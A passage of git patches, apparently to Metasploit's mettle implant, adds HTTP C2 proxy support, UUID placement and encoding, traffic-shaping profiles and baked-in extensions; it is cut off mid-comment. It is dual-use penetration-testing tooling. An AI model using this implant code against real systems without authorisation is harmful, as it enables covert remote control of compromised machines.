{ uint32_t retry_total; uint32_t retry_wait; char *proxy_url; + char *proxy_user; + char *proxy_pass; char *user_agent; char *custom_headers; void *cert_hash; size_t cert_hash_len; + char *c2_uuid; struct c2_verb_config *c2_get; struct c2_verb_config *c2_post; }; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 65c83f50..2082e414 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -130,6 +130,20 @@ static char *get_uuid_from_uri(const char *uri) return uuid; } +/* + * Resolve the per-transport UUID used for C2 profile placement. Prefers the + * value supplied via TLV_TYPE_C2_UUID; falls back to the URL path's last + * segment when unset. Returned string is malloc'd; caller frees. + */ +static char *get_transport_uuid(struct http_ctx *ctx) +{ + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + if (tc && tc->c2_uuid && *tc->c2_uuid) { + return strdup(tc->c2_uuid); + } + return get_uuid_from_uri(ctx->uri); +} + static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) { if (!vc || !vc->uri) { @@ -172,28 +186,53 @@ static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); if (request) { - uint32_t command_id; + uint32_t command_id = 0; tlv_packet_get_u32(request, TLV_TYPE_COMMAND_ID, &command_id); - const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); - - if (command_id == COMMAND_ID_CORE_PATCH_UUID && new_uuid) { - log_info("HTTP patching uuid to: %s\n", new_uuid); - char *old_uri = ctx->uri; - char *split = ctx->uri; - char *host = strstr(old_uri, "://"); - if (host) { - split = strchr(host + 3, '/'); - } else { - split = strrchr(old_uri, '/'); - } - if (split) { - *split = '\0'; + if (command_id == COMMAND_ID_CORE_PATCH_URL) { + /* + * Two encodings supported: + * - TLV_TYPE_C2_UUID (newer): bare UUID string; replace the + * last path segment and update tc->c2_uuid so subsequent + * profile placement (uuid_get/header/cookie) picks it up. + * - TLV_TYPE_TRANS_URL (legacy): the full URI suffix. + */ + const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); + const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); + + char *replacement = NULL; + if (new_uuid) { + if (asprintf(&replacement, "/%s", new_uuid) < 0) { + replacement = NULL; + } + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + if (tc) { + free(tc->c2_uuid); + tc->c2_uuid = strdup(new_uuid); + } + } else if (new_uri) { + replacement = strdup(new_uri); } - if (asprintf(&ctx->uri, "%s/%s", ctx->uri, new_uuid) > 0) { - free(old_uri); + + if (replacement) { + char *old_uri = ctx->uri; + char *split = ctx->uri; + char *host = strstr(old_uri, "://"); + if (host) { + split = strchr(host + 3, '/'); + } else { + split = strrchr(old_uri, '/'); + } + if (split) { + *split = '\0'; + } + if (asprintf(&ctx->uri, "%s%s", ctx->uri, replacement) > 0) { + free(old_uri); + } + free(replacement); } } + tlv_packet_free(request); } else { /** @@ -346,7 +385,7 @@ static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) { if (!vc) return; - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); if (!uuid) return; if (vc->uuid_header) { @@ -387,7 +426,7 @@ static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int rev ctx->data.content_len = encoded_len; } - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); char *post_url = build_profile_url(ctx->uri, post_profile, uuid); free(uuid); add_profile_headers(ctx, post_profile); @@ -401,7 +440,7 @@ static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int rev } if (!sent) { - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); char *get_url = build_profile_url(ctx->uri, get_profile, uuid); free(uuid); add_profile_headers(ctx, get_profile); @@ -426,6 +465,9 @@ static void http_ctx_free(struct http_ctx *ctx) free(ctx->data.ua); free(ctx->data.referer); free(ctx->data.cookie_list); + free((void *)ctx->opts.proxy.hostname); + free((void *)ctx->opts.proxy.auth_user); + free((void *)ctx->opts.proxy.auth_pass); free(ctx); } } @@ -443,6 +485,57 @@ static int add_header(struct http_ctx *ctx, const char *header) return -1; } +/* + * Parse a proxy URL of the form "scheme://host:port" or "socks=host:port" + * (the latter being the framework's SOCKS encoding) and populate the + * transport's http_request_opts.proxy fields. Adds basic auth credentials + * when configured. + */ +static void apply_proxy_config(struct http_ctx *ctx, struct c2_transport_config *tc) +{ + const char *url = tc->proxy_url; + enum http_proxy_type type = http_proxy_http; + const char *host_start; + + if (strncmp(url, "socks=", 6) == 0) { + type = http_proxy_socks5; + host_start = url + 6; + } else if (strncmp(url, "socks://", 8) == 0) { + type = http_proxy_socks5; + host_start = url + 8; + } else if (strncmp(url, "http://", 7) == 0) { + host_start = url + 7; + } else if (strncmp(url, "https://", 8) == 0) { + host_start = url + 8; + } else { + host_start = url; + } + + const char *colon = strrchr(host_start, ':'); + if (!colon) { + return; + } + size_t host_len = colon - host_start; + char *host = malloc(host_len + 1); + if (!host) { + return; + } + memcpy(host, host_start, host_len); + host[host_len] = '\0'; + + ctx->opts.proxy.type = type; + ctx->opts.proxy.hostname = host; + ctx->opts.proxy.port = (uint16_t)atoi(colon + 1); + + if (tc->proxy_user && *tc->proxy_user) { + ctx->opts.proxy.auth_type = http_auth_basic; + ctx->opts.proxy.auth_user = strdup(tc->proxy_user); + if (tc->proxy_pass) { + ctx->opts.proxy.auth_pass = strdup(tc->proxy_pass); + } + } +} + int http_transport_init(struct c2_transport *t) { struct http_ctx *ctx = calloc(1, sizeof *ctx); @@ -479,6 +572,9 @@ int http_transport_init(struct c2_transport *t) } free(hdrs); } + if (tc->proxy_url && *tc->proxy_url) { + apply_proxy_config(ctx, tc); + } } /* Legacy: parse args after | in URI */ diff --git a/mettle/src/main.c b/mettle/src/main.c index 67112756..e524956e 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -400,10 +400,16 @@ static int parse_config_block(struct mettle *m) const char *s; s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_URL); if (s) tc->proxy_url = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_USER); + if (s) tc->proxy_user = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_PASS); + if (s) tc->proxy_pass = strdup(s); s = tlv_packet_get_str(group, TLV_TYPE_C2_UA); if (s) tc->user_agent = strdup(s); s = tlv_packet_get_str(group, TLV_TYPE_C2_HEADERS); if (s) tc->custom_headers = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UUID); + if (s) tc->c2_uuid = strdup(s); size_t hash_len = 0; void *hash = tlv_packet_get_raw(group, TLV_TYPE_C2_CERT_HASH, &hash_len); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index 0f9e35a3..0a74eba2 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -118,6 +118,7 @@ #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) #define TLV_TYPE_C2_UUID_GET (TLV_META_TYPE_STRING | 724) #define TLV_TYPE_C2_UUID_HEADER (TLV_META_TYPE_STRING | 725) +#define TLV_TYPE_C2_UUID (TLV_META_TYPE_STRING | 726) #define C2_ENCODING_NONE 0 #define C2_ENCODING_B64 1 From 0f7afb26d8d6787dec2826b5b5e61d0e6d0be695 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 22:17:45 +1000 Subject: [PATCH 04/16] Avoid command line config block --- lib/metasploit_payloads/mettle.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index 17e2a79a..e02c3ca8 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -52,6 +52,10 @@ def to_binary(format=:process_image) def generate_argv cmd_line = 'mettle ' @config.each do |opt, val| + # :config_block is embedded into the binary via add_config_block (a + # TLV blob parsed natively); it is not a command-line option. + next if opt == :config_block + cmd_line << "-#{short_opt(opt)} \"#{val}\" " end if cmd_line.length > CMDLINE_MAX From 5ee6b85cd52820bfeafdf2a193449e867653f835 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 13:52:04 +1000 Subject: [PATCH 05/16] Add proper encoding and uri handling --- mettle/src/c2.h | 3 +- mettle/src/c2_http.c | 150 +++++++++++++++++++++++------------------ mettle/src/main.c | 3 +- mettle/src/tlv_types.h | 4 +- 4 files changed, 92 insertions(+), 68 deletions(-) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index aa4df619..0e734cdb 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -14,7 +14,8 @@ */ struct c2_verb_config { char *uri; - int enc; + int enc_inbound; + int enc_outbound; void *prefix; size_t prefix_len; void *suffix; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 2082e414..cabba6ca 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -160,11 +160,21 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *profile_uri = vc->uri; int needs_slash = (profile_uri[0] != '/'); - /* Calculate max URL length */ + /* + * When the profile does not specify a placement for the UUID + * (no uuid_get/uuid_header/uuid_cookie), the handler still needs to + * locate the session via the request path — append the UUID to the + * URI path. Matches PHP/Python behaviour. + */ + bool uuid_in_path = uuid && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; + size_t url_len = base_len + 1 + strlen(profile_uri) + 1; if (uuid && vc->uuid_get) { url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); } + if (uuid_in_path) { + url_len += 1 + strlen(uuid); + } char *url = malloc(url_len + 1); if (!url) return NULL; @@ -174,6 +184,12 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, needs_slash ? "/" : "", profile_uri); + if (uuid_in_path) { + bool need_sep = written > 0 && url[written - 1] != '/'; + written += snprintf(url + written, url_len + 1 - written, "%s%s", + need_sep ? "/" : "", uuid); + } + if (uuid && vc->uuid_get) { char sep = strchr(url, '?') ? '&' : '?'; snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); @@ -182,86 +198,70 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, return url; } -static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len); + +static void patch_uuid(struct http_ctx *ctx, struct buffer_queue *q) { - struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + + /* + * The framework wraps the patch-uuid response via the GET profile's + * outbound transform (prefix/suffix + encoding). Decode through the + * same profile before parsing the TLV. + */ + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(q, get_profile, &decoded_len); + if (!decoded) { + return; + } + + struct buffer_queue *decoded_q = buffer_queue_new(); + if (!decoded_q) { + free(decoded); + return; + } + buffer_queue_add(decoded_q, decoded, decoded_len); + free(decoded); + + struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, decoded_q); + buffer_queue_free(decoded_q); if (request) { uint32_t command_id = 0; tlv_packet_get_u32(request, TLV_TYPE_COMMAND_ID, &command_id); - if (command_id == COMMAND_ID_CORE_PATCH_URL) { - /* - * Two encodings supported: - * - TLV_TYPE_C2_UUID (newer): bare UUID string; replace the - * last path segment and update tc->c2_uuid so subsequent - * profile placement (uuid_get/header/cookie) picks it up. - * - TLV_TYPE_TRANS_URL (legacy): the full URI suffix. - */ + if (command_id == COMMAND_ID_CORE_PATCH_UUID) { const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); - const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); - - char *replacement = NULL; - if (new_uuid) { - if (asprintf(&replacement, "/%s", new_uuid) < 0) { - replacement = NULL; - } - struct c2_transport_config *tc = c2_transport_get_config(ctx->t); - if (tc) { - free(tc->c2_uuid); - tc->c2_uuid = strdup(new_uuid); - } - } else if (new_uri) { - replacement = strdup(new_uri); - } - - if (replacement) { - char *old_uri = ctx->uri; - char *split = ctx->uri; - char *host = strstr(old_uri, "://"); - if (host) { - split = strchr(host + 3, '/'); - } else { - split = strrchr(old_uri, '/'); - } - if (split) { - *split = '\0'; - } - if (asprintf(&ctx->uri, "%s%s", ctx->uri, replacement) > 0) { - free(old_uri); - } - free(replacement); + if (new_uuid && tc) { + free(tc->c2_uuid); + tc->c2_uuid = strdup(new_uuid); } } tlv_packet_free(request); } - else { - /** - * put packet in ingress? also consider making `core_patch_uuid` actually core - * and expect the transport or get changed on patch request - **/ - } } /* - * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + * Drain a response queue and apply the inbound C2 profile transform + * (prefix/suffix skip + encoding). Returns a malloc'd buffer the caller + * must free, or NULL on empty/error. *out_len is set on success. */ -static void process_response_with_profile(struct http_ctx *ctx, - struct buffer_queue *response_q, struct c2_verb_config *vc) +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len) { - if (!vc) { - /* No profile — pass raw data through */ - c2_transport_ingress_queue(ctx->t, response_q); - return; - } - void *raw = NULL; ssize_t raw_len = buffer_queue_remove_all(response_q, &raw); if (!raw || raw_len <= 0) { free(raw); - return; + return NULL; + } + + if (!vc) { + *out_len = (size_t)raw_len; + return raw; } - /* Strip prefix/suffix bytes */ int start = vc->prefix_skip; int end = raw_len - vc->suffix_skip; if (start >= end || start < 0 || end > (int)raw_len) { @@ -270,15 +270,35 @@ static void process_response_with_profile(struct http_ctx *ctx, } size_t stripped_len = end - start; - /* Decode */ size_t decoded_len = 0; - void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc, &decoded_len); + void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc_inbound, &decoded_len); free(raw); + if (!decoded || decoded_len == 0) { + free(decoded); + return NULL; + } + *out_len = decoded_len; + return decoded; +} - if (decoded && decoded_len > 0) { +/* + * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + */ +static void process_response_with_profile(struct http_ctx *ctx, + struct buffer_queue *response_q, struct c2_verb_config *vc) +{ + if (!vc) { + /* No profile — pass raw data through */ + c2_transport_ingress_queue(ctx->t, response_q); + return; + } + + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(response_q, vc, &decoded_len); + if (decoded) { c2_transport_ingress_buf(ctx->t, decoded, decoded_len); + free(decoded); } - free(decoded); } /* @@ -293,7 +313,7 @@ static void *encode_egress_with_profile(void *data, size_t data_len, } size_t encoded_len = 0; - void *encoded = c2_encode(data, data_len, vc->enc, &encoded_len); + void *encoded = c2_encode(data, data_len, vc->enc_outbound, &encoded_len); free(data); if (!encoded) return NULL; diff --git a/mettle/src/main.c b/mettle/src/main.c index e524956e..3c42e65e 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -273,7 +273,8 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); if (s) vc->uri = strdup(s); - tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC, (uint32_t *)&vc->enc); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index 0a74eba2..b63117c3 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -112,7 +112,9 @@ #define TLV_TYPE_C2_CERT_HASH (TLV_META_TYPE_RAW | 717) #define TLV_TYPE_C2_PREFIX (TLV_META_TYPE_RAW | 718) #define TLV_TYPE_C2_SUFFIX (TLV_META_TYPE_RAW | 719) -#define TLV_TYPE_C2_ENC (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_C2_ENC_INBOUND (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) +#define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From c39a1dc1367327973aa37acbc22381ce83e043b2 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:03:27 +1000 Subject: [PATCH 06/16] Correctly encode UUIDs --- mettle/src/c2.c | 2 ++ mettle/src/c2.h | 5 ++++ mettle/src/c2_http.c | 65 +++++++++++++++++++++++++++++++++++------- mettle/src/main.c | 17 +++++++++++ mettle/src/tlv_types.h | 3 ++ 5 files changed, 81 insertions(+), 11 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index ccb71d86..8690a903 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -166,6 +166,8 @@ void c2_verb_config_free(struct c2_verb_config *vc) free(vc->uri); free(vc->prefix); free(vc->suffix); + free(vc->uuid_prefix); + free(vc->uuid_suffix); free(vc->uuid_get); free(vc->uuid_header); free(vc->uuid_cookie); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index 0e734cdb..e03c6199 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -16,10 +16,15 @@ struct c2_verb_config { char *uri; int enc_inbound; int enc_outbound; + int enc_uuid; void *prefix; size_t prefix_len; void *suffix; size_t suffix_len; + void *uuid_prefix; + size_t uuid_prefix_len; + void *uuid_suffix; + size_t uuid_suffix_len; int prefix_skip; int suffix_skip; char *uuid_get; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index cabba6ca..e7f23d2a 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -144,6 +144,42 @@ static char *get_transport_uuid(struct http_ctx *ctx) return get_uuid_from_uri(ctx->uri); } +/* + * Apply the profile's UUID transform (encode + prepend + append) to the + * raw UUID before placement. Returns a malloc'd null-terminated string + * the caller must free, or NULL on failure / empty input. + * If vc is NULL, returns a plain strdup(uuid). + */ +static char *render_uuid(struct c2_verb_config *vc, const char *uuid) +{ + if (!uuid || !*uuid) return NULL; + if (!vc) return strdup(uuid); + + size_t uuid_len = strlen(uuid); + size_t encoded_len = 0; + void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); + if (!encoded) return NULL; + + size_t total = vc->uuid_prefix_len + encoded_len + vc->uuid_suffix_len; + char *out = malloc(total + 1); + if (!out) { free(encoded); return NULL; } + + char *p = out; + if (vc->uuid_prefix_len > 0) { + memcpy(p, vc->uuid_prefix, vc->uuid_prefix_len); + p += vc->uuid_prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (vc->uuid_suffix_len > 0) { + memcpy(p, vc->uuid_suffix, vc->uuid_suffix_len); + p += vc->uuid_suffix_len; + } + *p = '\0'; + free(encoded); + return out; +} + static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) { if (!vc || !vc->uri) { @@ -160,24 +196,26 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *profile_uri = vc->uri; int needs_slash = (profile_uri[0] != '/'); + char *rendered = render_uuid(vc, uuid); + /* * When the profile does not specify a placement for the UUID * (no uuid_get/uuid_header/uuid_cookie), the handler still needs to * locate the session via the request path — append the UUID to the * URI path. Matches PHP/Python behaviour. */ - bool uuid_in_path = uuid && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; + bool uuid_in_path = rendered && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; size_t url_len = base_len + 1 + strlen(profile_uri) + 1; - if (uuid && vc->uuid_get) { - url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); + if (rendered && vc->uuid_get) { + url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(rendered); } if (uuid_in_path) { - url_len += 1 + strlen(uuid); + url_len += 1 + strlen(rendered); } char *url = malloc(url_len + 1); - if (!url) return NULL; + if (!url) { free(rendered); return NULL; } int written = snprintf(url, url_len + 1, "%.*s%s%s", (int)base_len, base_uri, @@ -187,14 +225,15 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, if (uuid_in_path) { bool need_sep = written > 0 && url[written - 1] != '/'; written += snprintf(url + written, url_len + 1 - written, "%s%s", - need_sep ? "/" : "", uuid); + need_sep ? "/" : "", rendered); } - if (uuid && vc->uuid_get) { + if (rendered && vc->uuid_get) { char sep = strchr(url, '?') ? '&' : '?'; - snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); + snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, rendered); } + free(rendered); return url; } @@ -408,21 +447,25 @@ static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) char *uuid = get_transport_uuid(ctx); if (!uuid) return; + char *rendered = render_uuid(vc, uuid); + free(uuid); + if (!rendered) return; + if (vc->uuid_header) { char *hdr = NULL; - if (asprintf(&hdr, "%s: %s", vc->uuid_header, uuid) != -1) { + if (asprintf(&hdr, "%s: %s", vc->uuid_header, rendered) != -1) { add_header(ctx, hdr); free(hdr); } } if (vc->uuid_cookie) { char *cookie = NULL; - if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, uuid) != -1) { + if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, rendered) != -1) { free(ctx->data.cookie_list); ctx->data.cookie_list = cookie; } } - free(uuid); + free(rendered); } static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents) diff --git a/mettle/src/main.c b/mettle/src/main.c index 3c42e65e..b3fa9d93 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -275,6 +275,7 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_UUID, (uint32_t *)&vc->enc_uuid); tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); @@ -296,6 +297,22 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin vc->suffix_len = len; } } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_PREFIX, &len); + if (raw && len > 0) { + vc->uuid_prefix = malloc(len); + if (vc->uuid_prefix) { + memcpy(vc->uuid_prefix, raw, len); + vc->uuid_prefix_len = len; + } + } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_SUFFIX, &len); + if (raw && len > 0) { + vc->uuid_suffix = malloc(len); + if (vc->uuid_suffix) { + memcpy(vc->uuid_suffix, raw, len); + vc->uuid_suffix_len = len; + } + } s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); if (s) vc->uuid_get = strdup(s); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index b63117c3..ad4ad097 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -115,6 +115,9 @@ #define TLV_TYPE_C2_ENC_INBOUND (TLV_META_TYPE_UINT | 720) #define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) #define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) +#define TLV_TYPE_C2_ENC_UUID (TLV_META_TYPE_UINT | 729) +#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_RAW | 730) +#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_RAW | 731) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From 9cf0a62e000198abeee9dc1bdcd4b2ad358764dc Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:30:54 +1000 Subject: [PATCH 07/16] Move to STRING instead of RAW for UUID prefix/suffix --- mettle/src/c2.h | 6 ++---- mettle/src/c2_http.c | 16 +++++++++------- mettle/src/main.c | 20 ++++---------------- mettle/src/tlv_types.h | 4 ++-- 4 files changed, 17 insertions(+), 29 deletions(-) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index e03c6199..05eac6f6 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -21,10 +21,8 @@ struct c2_verb_config { size_t prefix_len; void *suffix; size_t suffix_len; - void *uuid_prefix; - size_t uuid_prefix_len; - void *uuid_suffix; - size_t uuid_suffix_len; + char *uuid_prefix; + char *uuid_suffix; int prefix_skip; int suffix_skip; char *uuid_get; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index e7f23d2a..3c65a699 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -160,20 +160,22 @@ static char *render_uuid(struct c2_verb_config *vc, const char *uuid) void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); if (!encoded) return NULL; - size_t total = vc->uuid_prefix_len + encoded_len + vc->uuid_suffix_len; + size_t prefix_len = vc->uuid_prefix ? strlen(vc->uuid_prefix) : 0; + size_t suffix_len = vc->uuid_suffix ? strlen(vc->uuid_suffix) : 0; + size_t total = prefix_len + encoded_len + suffix_len; char *out = malloc(total + 1); if (!out) { free(encoded); return NULL; } char *p = out; - if (vc->uuid_prefix_len > 0) { - memcpy(p, vc->uuid_prefix, vc->uuid_prefix_len); - p += vc->uuid_prefix_len; + if (prefix_len > 0) { + memcpy(p, vc->uuid_prefix, prefix_len); + p += prefix_len; } memcpy(p, encoded, encoded_len); p += encoded_len; - if (vc->uuid_suffix_len > 0) { - memcpy(p, vc->uuid_suffix, vc->uuid_suffix_len); - p += vc->uuid_suffix_len; + if (suffix_len > 0) { + memcpy(p, vc->uuid_suffix, suffix_len); + p += suffix_len; } *p = '\0'; free(encoded); diff --git a/mettle/src/main.c b/mettle/src/main.c index b3fa9d93..eb0249ce 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -297,22 +297,10 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin vc->suffix_len = len; } } - raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_PREFIX, &len); - if (raw && len > 0) { - vc->uuid_prefix = malloc(len); - if (vc->uuid_prefix) { - memcpy(vc->uuid_prefix, raw, len); - vc->uuid_prefix_len = len; - } - } - raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_SUFFIX, &len); - if (raw && len > 0) { - vc->uuid_suffix = malloc(len); - if (vc->uuid_suffix) { - memcpy(vc->uuid_suffix, raw, len); - vc->uuid_suffix_len = len; - } - } + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_PREFIX); + if (s) vc->uuid_prefix = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_SUFFIX); + if (s) vc->uuid_suffix = strdup(s); s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); if (s) vc->uuid_get = strdup(s); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index ad4ad097..1fe3871e 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -116,8 +116,8 @@ #define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) #define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) #define TLV_TYPE_C2_ENC_UUID (TLV_META_TYPE_UINT | 729) -#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_RAW | 730) -#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_RAW | 731) +#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_STRING | 730) +#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_STRING | 731) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From 6d58b60a355e06bae08fb8b8ed4a5945527cdeb7 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:13:00 +1000 Subject: [PATCH 08/16] Support baked in extensions in stageless --- mettle/src/main.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/mettle/src/main.c b/mettle/src/main.c index eb0249ce..6576bcd2 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -13,6 +13,7 @@ #include #include "argv_split.h" +#include "extensions.h" #include "log.h" #include "mettle.h" #include "service.h" @@ -435,6 +436,30 @@ static int parse_config_block(struct mettle *m) tlv_packet_free(group); } + /* Hot-load extensions baked into the config block 